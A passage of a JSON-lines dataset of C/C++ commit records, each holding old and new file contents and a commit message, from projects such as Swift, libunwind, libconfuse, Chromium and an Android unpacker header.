7);\n\tb = random(128);\n\n\tfor (y = 0; y < 8; y++) {\n\t\tfor (x = 0; x < 16; x++) {\n\t\t\tgc->set_color((x + y * 16) ^ b);\n\t\t\tgc->move_pen(x, y);\n\t\t\tgc->draw(\"X\");\n\t\t}\n\t}\n\n\tsend_out(implode(painter->render_color(), \"\\n\") + \"\\n\");\n}\n","subject":"Add color testing command with random order, to uncover subtle bugs","message":"Add color testing command with random order, to uncover subtle bugs\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"47f76f175cf6dd8f81711146e6845006c1912c2f","old_file":"include\/swift\/Basic\/SmallPtrSetVector.h","new_file":"include\/swift\/Basic\/SmallPtrSetVector.h","old_contents":"","new_contents":"\/\/===--- SmallPtrSetVector.h ----------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2021 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_SMALLPTRSETVECTOR_H\n#define SWIFT_BASIC_SMALLPTRSETVECTOR_H\n\n#include \"swift\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/SetVector.h\"\n#include \"llvm\/ADT\/SmallPtrSet.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n\nnamespace swift {\n\n\/\/\/ A SetVector that performs no allocations if smaller than a certain\n\/\/\/ size. Uses a SmallPtrSet\/SmallVector internally.\ntemplate <typename T, unsigned VectorSize, unsigned SetSize = VectorSize>\nclass SmallPtrSetVector : public llvm::SetVector<T, SmallVector<T, VectorSize>,\n                                                 SmallPtrSet<T, SetSize>> {\npublic:\n  SmallPtrSetVector() = default;\n\n  \/\/\/ Initialize a SmallPtrSetVector with a range of elements\n  template <typename It> SmallPtrSetVector(It Start, It End) {\n    this->insert(Start, End);\n  }\n};\n\n} \/\/ namespace swift\n\nnamespace std {\n\n\/\/\/ Implement std::swap in terms of SmallSetVector swap.\n\/\/\/\n\/\/\/ This matches llvm's implementation for SmallSetVector.\ntemplate <typename T, unsigned VectorSize, unsigned SetSize = VectorSize>\ninline void swap(swift::SmallPtrSetVector<T, VectorSize, SetSize> &LHS,\n                 swift::SmallPtrSetVector<T, VectorSize, SetSize> &RHS) {\n  LHS.swap(RHS);\n}\n\n} \/\/ end namespace std\n\n#endif\n","subject":"Add a variant of SmallSetVector that uses SmallPtrSet internally instead of SmallDenseSet.","message":"[sil] Add a variant of SmallSetVector that uses SmallPtrSet internally instead of SmallDenseSet.\n","lang":"C","license":"apache-2.0","repos":"apple\/swift,parkera\/swift,ahoppen\/swift,roambotics\/swift,tkremenek\/swift,atrick\/swift,parkera\/swift,rudkx\/swift,hooman\/swift,tkremenek\/swift,gregomni\/swift,glessard\/swift,ahoppen\/swift,rudkx\/swift,roambotics\/swift,JGiola\/swift,ahoppen\/swift,JGiola\/swift,xwu\/swift,benlangmuir\/swift,roambotics\/swift,benlangmuir\/swift,tkremenek\/swift,atrick\/swift,JGiola\/swift,roambotics\/swift,hooman\/swift,hooman\/swift,apple\/swift,glessard\/swift,rudkx\/swift,JGiola\/swift,glessard\/swift,glessard\/swift,JGiola\/swift,gregomni\/swift,benlangmuir\/swift,xwu\/swift,rudkx\/swift,tkremenek\/swift,xwu\/swift,rudkx\/swift,ahoppen\/swift,atrick\/swift,xwu\/swift,gregomni\/swift,hooman\/swift,ahoppen\/swift,tkremenek\/swift,glessard\/swift,glessard\/swift,apple\/swift,apple\/swift,parkera\/swift,hooman\/swift,JGiola\/swift,tkremenek\/swift,apple\/swift,gregomni\/swift,benlangmuir\/swift,tkremenek\/swift,gregomni\/swift,parkera\/swift,atrick\/swift,rudkx\/swift,apple\/swift,benlangmuir\/swift,roambotics\/swift,atrick\/swift,xwu\/swift,benlangmuir\/swift,parkera\/swift,gregomni\/swift,parkera\/swift,roambotics\/swift,ahoppen\/swift,hooman\/swift,atrick\/swift,xwu\/swift,xwu\/swift,hooman\/swift,parkera\/swift,parkera\/swift"}
{"commit":"67ce2b4d5e93bea3bbbb28f711f0de09228f9de9","old_file":"src\/unique_ptr.h","new_file":"src\/unique_ptr.h","old_contents":"\/\/ Copyright 2014 The open-vcdiff Authors. All Rights Reserved.\n\/\/ Author: Mostyn Bramley-Moore\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef OPEN_VCDIFF_UNIQUE_PTR_H_\n#define OPEN_VCDIFF_UNIQUE_PTR_H_\n\n\/\/ std::auto_ptr is deprecated in C++11, in favor of std::unique_ptr.\n\/\/ Since C++11 is not widely available yet, the macro below is used to\n\/\/ select the best available option.\n\n#include <memory>\n\n#if __cplusplus >= 201103L\n\/\/ C++11\n#define UNIQUE_PTR std::unique_ptr\n#else\n#define UNIQUE_PTR std::auto_ptr\n#endif\n\n#endif  \/\/ OPEN_VCDIFF_UNIQUE_PTR_H_\n","new_contents":"\/\/ Copyright 2014 The open-vcdiff Authors. All Rights Reserved.\n\/\/ Author: Mostyn Bramley-Moore\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef OPEN_VCDIFF_UNIQUE_PTR_H_\n#define OPEN_VCDIFF_UNIQUE_PTR_H_\n\n\/\/ std::auto_ptr is deprecated in C++11, in favor of std::unique_ptr.\n\/\/ Since C++11 is not widely available yet, the macro below is used to\n\/\/ select the best available option.\n\n#include <memory>\n\n#if __cplusplus >= 201103L && !defined(OPEN_VCDIFF_USE_AUTO_PTR) \/\/ C++11\n#define UNIQUE_PTR std::unique_ptr\n#else\n#define UNIQUE_PTR std::auto_ptr\n#endif  \/\/ __cplusplus >= 201103L && !defined(OPEN_VCDIFF_USE_AUTO_PTR)\n\n#endif  \/\/ OPEN_VCDIFF_UNIQUE_PTR_H_\n","subject":"Add an option to force use of auto_ptr for legacy STL implementations.","message":"Add an option to force use of auto_ptr for legacy STL implementations.\n","lang":"C","license":"apache-2.0","repos":"Steelskin\/open-vcdiff,elly\/open-vcdiff,Steelskin\/open-vcdiff,google\/open-vcdiff,elly\/open-vcdiff,google\/open-vcdiff,elly\/open-vcdiff,google\/open-vcdiff,Steelskin\/open-vcdiff"}
{"commit":"ffbd18870f6fa2284884e6c425e51f00efe48cc2","old_file":"src\/util\/files.c","new_file":"src\/util\/files.c","old_contents":"\/\/\n\/\/ Created by gravypod on 9\/20\/17.\n\/\/\n\n#include \"files.h\"\n\n#include <sys\/stat.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nlong int fsize(const char *filename)\n{\n    struct stat st;\n\n    if (stat(filename, &st) == 0)\n        return st.st_size;\n\n    return -1;\n}\n\nchar* read_file(const char* filename)\n{\n    const size_t file_size = (size_t) fsize(filename);\n    FILE *f;\n\n    if (file_size == -1 || !(f = fopen(filename, \"rb\"))) {\n        return NULL;\n    }\n\n    size_t data_left = file_size;\n    char *buffer = malloc(file_size + 1);\n    char *tmp    = buffer;\n\n    while (data_left > 0)\n    {\n        const size_t len = fread((void *) tmp, sizeof(char), sizeof(buffer), f);\n        data_left -= len;\n        tmp       += len;\n    }\n    buffer[file_size] = 0;\n\n    fclose(f);\n\n    return buffer;\n}","new_contents":"\/\/\n\/\/ Created by gravypod on 9\/20\/17.\n\/\/\n\n#include \"files.h\"\n\n#include <sys\/stat.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nlong int fsize(const char *filename)\n{\n    struct stat st;\n\n    if (stat(filename, &st) == 0)\n        return st.st_size;\n\n    return -1;\n}\n\nchar* read_file(const char* filename)\n{\n    long int reported_size = fsize(filename);\n    FILE *f;\n\n    if (reported_size == -1 || !(f = fopen(filename, \"rb\"))) {\n        return NULL;\n    }\n\n    const size_t file_size = (size_t) reported_size;\n    size_t data_left = file_size;\n    char *buffer = malloc(file_size + 1);\n    char *tmp    = buffer;\n\n    while (data_left > 0)\n    {\n        const size_t len = fread((void *) tmp, sizeof(char), sizeof(buffer), f);\n        data_left -= len;\n        tmp       += len;\n    }\n    buffer[file_size] = 0;\n\n    fclose(f);\n\n    return buffer;\n}","subject":"Make sure file stat actually finished. Don't check a size_t for neg.","message":"Make sure file stat actually finished. Don't check a size_t for neg.\n","lang":"C","license":"mit","repos":"gravypod\/solid-snake,gravypod\/solid-snake,gravypod\/solid-snake"}
{"commit":"681cc70a6305451ea1c85dbd239ea3cd38abe7b3","old_file":"simulator\/ghc_instruction.h","new_file":"simulator\/ghc_instruction.h","old_contents":"#include <vector>\n\nenum GHCMnemonic {\n  MOV,\n  INC,\n  DEC,\n  ADD,\n  SUB,\n  MUL,\n  DIV,\n  AND,\n  OR,\n  XOR,\n  JLT,\n  JEQ,\n  JGT,\n  INT,\n  HLT\n};\n\nenum GHCRegister {\n  A = 0,\n  B,\n  C,\n  D,\n  E,\n  F,\n  G,\n  H,\n  PC\n};\n\nenum GHCArgumentType {\n  Constant,\n  Register,\n  Memory\n};\n\nstruct GHCArgument {\n  GHCArgumentType type;\n  unsigned int id;\n};\n\nstruct GHCInstruction {\n  GHCMnemonic mnemonic;\n  std::vector<GHCArgument> arguments;\n};\n\n","new_contents":"#include <vector>\n\nenum GHCMnemonic {\n  MOV,\n  INC,\n  DEC,\n  ADD,\n  SUB,\n  MUL,\n  DIV,\n  AND,\n  OR,\n  XOR,\n  JLT,\n  JEQ,\n  JGT,\n  INT,\n  HLT\n};\n\nenum GHCRegister {\n  A = 0,\n  B,\n  C,\n  D,\n  E,\n  F,\n  G,\n  H,\n  PC\n};\n\nenum GHCArgumentType {\n  Constant,\n  Register,\n  Memory\n};\n\nstruct GHCArgument {\n  GHCArgumentType type;\n  bool as_address;\n  unsigned int id;\n};\n\nstruct GHCInstruction {\n  GHCMnemonic mnemonic;\n  std::vector<GHCArgument> arguments;\n};\n\n","subject":"Add as_address on mnemonic argument.","message":"Add as_address on mnemonic argument.\n","lang":"C","license":"mit","repos":"fuqinho\/icfpc2014,fuqinho\/icfpc2014"}
{"commit":"1fb59024b3e1b2989ecadfa7a6c4b39b11f7a4e2","old_file":"utils\/ansi_colors.h","new_file":"utils\/ansi_colors.h","old_contents":"","new_contents":"#ifndef _ANSI_COLORS\n#define _ANSI_COLORS\n\n#define ANSI_COLOR_RED     \"\\x1b[31m\"\n#define ANSI_COLOR_GREEN   \"\\x1b[32m\"\n#define ANSI_COLOR_YELLOW  \"\\x1b[33m\"\n#define ANSI_COLOR_BLUE    \"\\x1b[34m\"\n#define ANSI_COLOR_MAGENTA \"\\x1b[35m\"\n#define ANSI_COLOR_CYAN    \"\\x1b[36m\"\n#define ANSI_COLOR_RESET   \"\\x1b[0m\"\n\n#endif\n\n","subject":"Add ansi colors file header","message":"Add ansi colors file header\n","lang":"C","license":"mit","repos":"elc1798\/wish"}
{"commit":"495a5a547f3eefbdf0e4b29d510d63a4ff0a3664","old_file":"src\/ia64\/Gis_signal_frame.c","new_file":"src\/ia64\/Gis_signal_frame.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2001-2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nint\nunw_is_signal_frame (unw_cursor_t *cursor)\n{\n  struct ia64_cursor *c = (struct ia64_cursor *) cursor;\n  struct ia64_state_record sr;\n  int ret;\n\n  \/* Crude and slow, but we need to peek ahead into the unwind\n     descriptors to find out if the current IP is inside the signal\n     trampoline.  *\/\n  ret = ia64_create_state_record (c, &sr);\n  if (ret < 0)\n    return ret;\n\n  return sr.is_signal_frame;\n}\n","subject":"Use \"is_signal_frame\" instead of IA64_FLAG_SIGTRAMP flag bit.","message":"(unw_is_signal_frame): Use \"is_signal_frame\" instead of IA64_FLAG_SIGTRAMP flag bit.\n\n2002\/12\/11 12:26:26-08:00 mostang.com!davidm\nRename: src\/ia64\/Lis_signal_frame.c -> src\/ia64\/Gis_signal_frame.c\n\n(Logical change 1.30)\n","lang":"C","license":"mit","repos":"pathscale\/libunwind,atanasyan\/libunwind,cms-externals\/libunwind,pathscale\/libunwind,cloudius-systems\/libunwind,yuyichao\/libunwind,mpercy\/libunwind,maltek\/platform_external_libunwind,cloudius-systems\/libunwind,zeldin\/platform_external_libunwind,olibc\/libunwind,djwatson\/libunwind,joyent\/libunwind,olibc\/libunwind,Chilledheart\/libunwind,vegard\/libunwind,wdv4758h\/libunwind,evaautomation\/libunwind,ehsan\/libunwind,geekboxzone\/lollipop_external_libunwind,igprof\/libunwind,atanasyan\/libunwind-android,krytarowski\/libunwind,cloudius-systems\/libunwind,Keno\/libunwind,SyndicateRogue\/libunwind,igprof\/libunwind,DroidSim\/platform_external_libunwind,wdv4758h\/libunwind,zeldin\/platform_external_libunwind,fdoray\/libunwind,CyanogenMod\/android_external_libunwind,dreal-deps\/libunwind,vegard\/libunwind,CyanogenMod\/android_external_libunwind,tkelman\/libunwind,jrmuizel\/libunwind,evaautomation\/libunwind,rntz\/libunwind,rntz\/libunwind,martyone\/libunwind,fdoray\/libunwind,vtjnash\/libunwind,rantala\/libunwind,mpercy\/libunwind,frida\/libunwind,rogwfu\/libunwind,dagar\/libunwind,zliu2014\/libunwind-tilegx,tronical\/libunwind,frida\/libunwind,unkadoug\/libunwind,geekboxzone\/lollipop_external_libunwind,mpercy\/libunwind,martyone\/libunwind,jrmuizel\/libunwind,tronical\/libunwind,evaautomation\/libunwind,0xlab\/0xdroid-external_libunwind,bo-on-software\/libunwind,rogwfu\/libunwind,geekboxzone\/lollipop_external_libunwind,androidarmv6\/android_external_libunwind,ehsan\/libunwind,geekboxzone\/mmallow_external_libunwind,rogwfu\/libunwind,libunwind\/libunwind,maltek\/platform_external_libunwind,project-zerus\/libunwind,djwatson\/libunwind,zliu2014\/libunwind-tilegx,lat\/libunwind,unkadoug\/libunwind,tronical\/libunwind,rntz\/libunwind,yuyichao\/libunwind,joyent\/libunwind,SyndicateRogue\/libunwind,cms-externals\/libunwind,geekboxzone\/mmallow_external_libunwind,project-zerus\/libunwind,DroidSim\/platform_external_libunwind,djwatson\/libunwind,android-ia\/platform_external_libunwind,dropbox\/libunwind,bo-on-software\/libunwind,vtjnash\/libunwind,geekboxzone\/mmallow_external_libunwind,project-zerus\/libunwind,Keno\/libunwind,atanasyan\/libunwind-android,dagar\/libunwind,igprof\/libunwind,olibc\/libunwind,android-ia\/platform_external_libunwind,tony\/libunwind,krytarowski\/libunwind,frida\/libunwind,krytarowski\/libunwind,pathscale\/libunwind,wdv4758h\/libunwind,fillexen\/libunwind,fdoray\/libunwind,martyone\/libunwind,libunwind\/libunwind,joyent\/libunwind,cms-externals\/libunwind,vegard\/libunwind,rantala\/libunwind,yuyichao\/libunwind,adsharma\/libunwind,fillexen\/libunwind,androidarmv6\/android_external_libunwind,atanasyan\/libunwind,dreal-deps\/libunwind,DroidSim\/platform_external_libunwind,0xlab\/0xdroid-external_libunwind,jrmuizel\/libunwind,tkelman\/libunwind,tony\/libunwind,atanasyan\/libunwind-android,fillexen\/libunwind,Chilledheart\/libunwind,unkadoug\/libunwind,dropbox\/libunwind,androidarmv6\/android_external_libunwind,maltek\/platform_external_libunwind,Keno\/libunwind,zeldin\/platform_external_libunwind,android-ia\/platform_external_libunwind,dreal-deps\/libunwind,atanasyan\/libunwind,0xlab\/0xdroid-external_libunwind,ehsan\/libunwind,lat\/libunwind,dropbox\/libunwind,Chilledheart\/libunwind,adsharma\/libunwind,adsharma\/libunwind,CyanogenMod\/android_external_libunwind,vtjnash\/libunwind,tkelman\/libunwind,tony\/libunwind,libunwind\/libunwind,zliu2014\/libunwind-tilegx,bo-on-software\/libunwind,rantala\/libunwind,SyndicateRogue\/libunwind,dagar\/libunwind,lat\/libunwind"}
{"commit":"b8c623d9a4331c20dd28220868bdc6d98b2bd4c4","old_file":"examples\/parsebuf.c","new_file":"examples\/parsebuf.c","old_contents":"\/* Very simple example for parse buf example *\/\n#include <string.h>\n#include <stdlib.h>\n#include \"confuse.h\"\n\nint main(void)\n{\n\tcfg_t *cfg;\n\tcfg_opt_t arg_opts[] = {\n\t\tCFG_STR(\"value\", \"default\", CFGF_NONE),\n\t\tCFG_END()\n\t};\n\tcfg_opt_t opts[] = {\n\t\tCFG_INT(\"delay\", 3, CFGF_NONE),\n\t\tCFG_STR(\"message\", \"This is a message\", CFGF_NONE),\n\t\tCFG_SEC(\"argument\", arg_opts, CFGF_MULTI | CFGF_TITLE),\n\t\tCFG_END()\n\t};\n\n\tchar *buf =\n\t\t\" delay = 3\\n\"\n\t\t\"# message = 'asdfasfasfd tersf'\\n\"\n\t\t\" argument one { value = bar }\\n\"\n\t\t\" argument two { value=foo}\\n\";\n\n\tcfg = cfg_init(opts, 0);\n\tif (cfg_parse_buf(cfg, buf) != CFG_SUCCESS) {\n\t\tfprintf(stderr, \"Failed parsing configuration: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tcfg_print(cfg, stdout);\n\n\treturn cfg_free(cfg);\n}\n\n","new_contents":"\/* Very simple example for parse buf example *\/\n#include <errno.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"confuse.h\"\n\nint main(void)\n{\n\tcfg_t *cfg;\n\tcfg_opt_t arg_opts[] = {\n\t\tCFG_STR(\"value\", \"default\", CFGF_NONE),\n\t\tCFG_END()\n\t};\n\tcfg_opt_t opts[] = {\n\t\tCFG_INT(\"delay\", 3, CFGF_NONE),\n\t\tCFG_STR(\"message\", \"This is a message\", CFGF_NONE),\n\t\tCFG_SEC(\"argument\", arg_opts, CFGF_MULTI | CFGF_TITLE),\n\t\tCFG_END()\n\t};\n\n\tchar *buf =\n\t\t\" delay = 3\\n\"\n\t\t\"# message = 'asdfasfasfd tersf'\\n\"\n\t\t\" argument one { value = bar }\\n\"\n\t\t\" argument two { value=foo}\\n\";\n\n\tcfg = cfg_init(opts, 0);\n\tif (cfg_parse_buf(cfg, buf) != CFG_SUCCESS) {\n\t\tfprintf(stderr, \"Failed parsing configuration: %s\\n\", strerror(errno));\n\t\texit(1);\n\t}\n\tcfg_print(cfg, stdout);\n\n\treturn cfg_free(cfg);\n}\n\n","subject":"Add missing errno.h include for Linux\/UNIX","message":"Add missing errno.h include for Linux\/UNIX\n\nSigned-off-by: Joachim Nilsson <583c295fd7602c168ad814279bbc3894ba65f5d6@gmail.com>\n","lang":"C","license":"isc","repos":"troglobit\/libconfuse,westermo\/libconfuse,peda-r\/libconfuse,martinh\/libconfuse,peda-r\/libconfuse,troglobit\/libconfuse,westermo\/libconfuse,martinh\/libconfuse"}
{"commit":"8323670661ff47298967bca382b360f50f878041","old_file":"native-unpacker\/kisskiss.h","new_file":"native-unpacker\/kisskiss.h","old_contents":"\/*\n * kisskiss.h\n *\n * Tim \"diff\" Strazzere <strazz@gmail.com>\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/ptrace.h>\n#include <dirent.h>\n#include <fcntl.h> \/\/ open \/ O_RDONLY\n\nstatic const char* odex_magic = \"dey\\n036\";\nstatic const char* static_safe_location = \"\/data\/local\/tmp\/\";\nstatic const char* suffix = \".dumped_odex\";\n\ntypedef struct {\n  uint32_t start;\n  uint32_t end;\n} memory_region;\n\nuint32_t get_clone_pid(uint32_t service_pid);\nuint32_t get_process_pid(const char* target_package_name);\nchar *determine_filter(uint32_t clone_pid, int memory_fd);\nint find_magic_memory(uint32_t clone_pid, int memory_fd, memory_region *memory, char* extra_filter);\nint peek_memory(int memory_file, uint32_t address);\nint dump_memory(int memory_fd, memory_region *memory, const char* file_name);\nint attach_get_memory(uint32_t pid);\n","new_contents":"\/*\n * kisskiss.h\n *\n * Tim \"diff\" Strazzere <strazz@gmail.com>\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/ptrace.h>\n#include <dirent.h>\n#include <fcntl.h> \/\/ open \/ O_RDONLY\n#include <unistd.h> \/\/ close\n#include <errno.h> \/\/ perror\n#include <string.h> \/\/ strlen\n\nstatic const char* odex_magic = \"dey\\n036\";\nstatic const char* static_safe_location = \"\/data\/local\/tmp\/\";\nstatic const char* suffix = \".dumped_odex\";\n\ntypedef struct {\n  uint64_t start;\n  uint64_t end;\n} memory_region;\n\nuint32_t get_clone_pid(uint32_t service_pid);\nuint32_t get_process_pid(const char* target_package_name);\nchar *determine_filter(uint32_t clone_pid, int memory_fd);\nint find_magic_memory(uint32_t clone_pid, int memory_fd, memory_region *memory, char* extra_filter);\nint peek_memory(int memory_file, uint32_t address);\nint dump_memory(int memory_fd, memory_region *memory, const char* file_name);\nint attach_get_memory(uint32_t pid);\n","subject":"Reduce implicit calls, add fix for large memory sections","message":"Reduce implicit calls, add fix for large memory sections\n","lang":"C","license":"apache-2.0","repos":"strazzere\/android-unpacker,strazzere\/android-unpacker"}
{"commit":"86f56f6d510c533fe570fb6153b6c1f7b4b365a3","old_file":"net\/spdy\/spdy_http_utils.h","new_file":"net\/spdy\/spdy_http_utils.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SPDY_SPDY_HTTP_UTILS_H_\n#define NET_SPDY_SPDY_HTTP_UTILS_H_\n#pragma once\n\n#include \"net\/spdy\/spdy_framer.h\"\n\nnamespace net {\n\nclass HttpResponseInfo;\nclass HttpRequestInfo;\n\n\/\/ Convert a SpdyHeaderBlock into an HttpResponseInfo.\n\/\/ |headers| input parameter with the SpdyHeaderBlock.\n\/\/ |info| output parameter for the HttpResponseInfo.\n\/\/ Returns true if successfully converted.  False if there was a failure\n\/\/ or if the SpdyHeaderBlock was invalid.\nbool SpdyHeadersToHttpResponse(const spdy::SpdyHeaderBlock& headers,\n                               HttpResponseInfo* response);\n\n\/\/ Create a SpdyHeaderBlock for a Spdy SYN_STREAM Frame from\n\/\/ a HttpRequestInfo block.\nvoid CreateSpdyHeadersFromHttpRequest(const HttpRequestInfo& info,\n                                      spdy::SpdyHeaderBlock* headers,\n                                      bool direct);\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SPDY_SPDY_HTTP_UTILS_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SPDY_SPDY_HTTP_UTILS_H_\n#define NET_SPDY_SPDY_HTTP_UTILS_H_\n#pragma once\n\n#include \"net\/spdy\/spdy_framer.h\"\n\nnamespace net {\n\nclass HttpResponseInfo;\nstruct HttpRequestInfo;\n\n\/\/ Convert a SpdyHeaderBlock into an HttpResponseInfo.\n\/\/ |headers| input parameter with the SpdyHeaderBlock.\n\/\/ |info| output parameter for the HttpResponseInfo.\n\/\/ Returns true if successfully converted.  False if there was a failure\n\/\/ or if the SpdyHeaderBlock was invalid.\nbool SpdyHeadersToHttpResponse(const spdy::SpdyHeaderBlock& headers,\n                               HttpResponseInfo* response);\n\n\/\/ Create a SpdyHeaderBlock for a Spdy SYN_STREAM Frame from\n\/\/ a HttpRequestInfo block.\nvoid CreateSpdyHeadersFromHttpRequest(const HttpRequestInfo& info,\n                                      spdy::SpdyHeaderBlock* headers,\n                                      bool direct);\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SPDY_SPDY_HTTP_UTILS_H_\n","subject":"Change forward declaration of HttpRequestInfo from class to struct to fix build breakage.","message":"Change forward declaration of HttpRequestInfo from class to struct to\nfix build breakage.\n\nBUG=none\nTEST=none\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@59584 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,anirudhSK\/chromium,ltilve\/chromium,markYoungH\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,keishi\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,zcbenz\/cefode-chromium,robclark\/chromium,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,robclark\/chromium,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,Chilledheart\/chromium,keishi\/chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,patrickm\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,chuan9\/chromium-crosswalk,keishi\/chromium,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,keishi\/chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,Just-D\/chromium-1,jaruba\/chromium.src,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,pozdnyakov\/ch